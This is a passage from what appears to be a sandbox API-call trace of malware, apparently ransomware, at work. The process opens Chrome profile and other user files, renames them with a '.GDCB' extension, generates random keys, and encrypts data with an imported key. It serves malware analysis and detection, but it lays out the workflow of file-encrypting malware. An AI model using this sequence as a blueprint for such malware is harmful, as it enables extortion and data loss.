Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Crashpad\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\crashpad\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0177.075] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x52c0000 [0177.077] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x52d0000 [0177.077] ReadFile (in: hFile=0x518, lpBuffer=0x52d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x52d0000*, lpNumberOfBytesRead=0x285d160*=0x28, lpOverlapped=0x0) returned 1 [0177.082] VirtualAlloc (lpAddress=0x0, dwSize=0x30, flAllocationType=0x3000, flProtect=0x4) returned 0x53e0000 [0177.086] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Crashpad\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\crashpad\\settings.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Crashpad\\settings.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\crashpad\\settings.dat.gdcb")) returned 1 [0177.131] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0177.133] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0177.134] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0177.134] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0177.134] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0177.134] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0177.135] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0177.135] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0177.135] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0177.135] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0177.135] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0177.137] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3690188) returned 1 [0177.139] CryptGetKeyParam (in: hKey=0x3690188, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0177.139] CryptEncrypt (in: hKey=0x3690188, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x52a0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x52a0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0177.139] GetLastError () returned 0x0 [0177.139] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0177.139] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0177.141] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x36901c8) returned 1 [0177.141] CryptGetKeyParam (in: hKey=0x36901c8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0177.141] CryptEncrypt (in: hKey=0x36901c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x52b0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x52b0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0177.141] GetLastError () returned 0x0 [0177.141] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0177.141] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\databases\\Databases.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\databases\\databases.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0177.144] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0177.146] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0177.146] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0177.147] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0177.147] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0177.147] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0177.148] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0177.148] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0177.148] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0177.148] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0177.148] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0177.150] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3690408) returned 1 [0177.150] CryptGetKeyParam (in: hKey=0x3690408, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0177.151] CryptEncrypt (in: hKey=0x3690408, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x52c0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x52c0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0177.151] GetLastError () returned 0x0 [0177.151] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0177.151] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0177.153] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x368fe48) returned 1 [0177.153] CryptGetKeyParam (in: hKey=0x368fe48, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0177.153] CryptEncrypt (in: hKey=0x368fe48, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x52d0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x52d0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0177.153] GetLastError () returned 0x0 [0177.153] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0177.153] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extension Rules\\000003.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extension rules\\000003.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0177.157] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0177.159] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0177.159] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0177.159] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0177.159] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0177.159] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0177.160] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0177.161] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0177.161] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0177.161] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0177.161] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0177.163] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x36902c8) returned 1 [0177.163] CryptGetKeyParam (in: hKey=0x36902c8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0177.163] CryptEncrypt (in: hKey=0x36902c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x52e0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x52e0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0177.164] GetLastError () returned 0x0 [0177.164] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0177.164] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4540) returned 1 [0177.165] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x36903c8) returned 1 [0177.165] CryptGetKeyParam (in: hKey=0x36903c8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0177.165] CryptEncrypt (in: hKey=0x36903c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x52f0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x52f0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0177.166] GetLastError () returned 0x0 [0177.166] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0177.166] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extension State\\000003.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extension state\\000003.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0177.197] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0177.199] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0177.200] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0177.200] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0177.200] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0177.200] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0177.202] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0177.203] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0177.203] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0177.203] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0177.204] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0177.206] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x368ffc8) returned 1 [0177.207] CryptGetKeyParam (in: hKey=0x368ffc8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0177.207] CryptEncrypt (in: hKey=0x368ffc8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5300000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5300000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0177.207] GetLastError () returned 0x0 [0177.207] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0177.207] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0177.210] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x36904c8) returned 1 [0177.210] CryptGetKeyParam (in: hKey=0x36904c8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0177.210] CryptEncrypt (in: hKey=0x36904c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5310000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5310000*, pdwDataLen=0x285d120*=0x100) returned 1 [0177.210] GetLastError () returned 0x0 [0177.210] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0177.210] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\previews_opt_out.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0177.213] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5320000 [0177.214] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5330000 [0177.216] ReadFile (in: hFile=0x518, lpBuffer=0x5330000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5330000*, lpNumberOfBytesRead=0x285d160*=0x4000, lpOverlapped=0x0) returned 1 [0177.223] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x3000, flProtect=0x4) returned 0x5440000 [0177.229] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\previews_opt_out.db"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\previews_opt_out.db.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\previews_opt_out.db.gdcb")) returned 0 [0177.235] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0177.237] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0177.237] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0177.237] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0177.237] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0177.238] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0177.238] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0177.239] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0177.239] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0177.239] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0177.239] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0177.241] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3690908) returned 1 [0177.241] CryptGetKeyParam (in: hKey=0x3690908, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0177.241] CryptEncrypt (in: hKey=0x3690908, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5300000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x5300000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0177.241] GetLastError () returned 0x0 [0177.241] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0177.241] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0177.243] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x3690a48) returned 1 [0177.243] CryptGetKeyParam (in: hKey=0x3690a48, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0177.243] CryptEncrypt (in: hKey=0x3690a48, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5310000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x5310000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0177.243] GetLastError () returned 0x0 [0177.243] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0177.243] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Session Storage\\000004.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\session storage\\000004.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0177.313] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0177.315] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0177.316] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0177.316] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0177.316] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0177.316] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0177.317] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0177.318] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0177.318] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0177.318] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0177.318] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0177.321] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x3690348) returned 1 [0177.321] CryptGetKeyParam (in: hKey=0x3690348, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0177.321] CryptEncrypt (in: hKey=0x3690348, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5320000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x5320000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0177.322] GetLastError () returned 0x0 [0177.322] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0177.322] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0177.325] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x3690c48) returned 1 [0177.325] CryptGetKeyParam (in: hKey=0x3690c48, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0177.325] CryptEncrypt (in: hKey=0x3690c48, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5330000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x5330000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0177.325] GetLastError () returned 0x0 [0177.325] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0177.325] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\CLR_v2.0\\UsageLogs\\WINPROJ.EXE.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\clr_v2.0\\usagelogs\\winproj.exe.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0177.328] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5340000 [0177.329] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5350000 [0177.330] ReadFile (in: hFile=0x514, lpBuffer=0x5350000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x5350000*, lpNumberOfBytesRead=0x285d3e8*=0x14, lpOverlapped=0x0) returned 1 [0177.337] VirtualAlloc (lpAddress=0x0, dwSize=0x20, flAllocationType=0x3000, flProtect=0x4) returned 0x5460000 [0177.338] VirtualAlloc (lpAddress=0x0, dwSize=0x20, flAllocationType=0x3000, flProtect=0x4) returned 0x5470000 [0177.338] VirtualFree (lpAddress=0x5460000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0177.339] SetFilePointer (in: hFile=0x514, lDistanceToMove=-20, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.339] WriteFile (in: hFile=0x514, lpBuffer=0x5470000*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x285d3e0, lpOverlapped=0x0 | out: lpBuffer=0x5470000*, lpNumberOfBytesWritten=0x285d3e0*=0x20, lpOverlapped=0x0) returned 1 [0177.339] VirtualFree (lpAddress=0x5470000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0177.340] VirtualFree (lpAddress=0x5350000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0177.343] WriteFile (in: hFile=0x514, lpBuffer=0x5320000*, 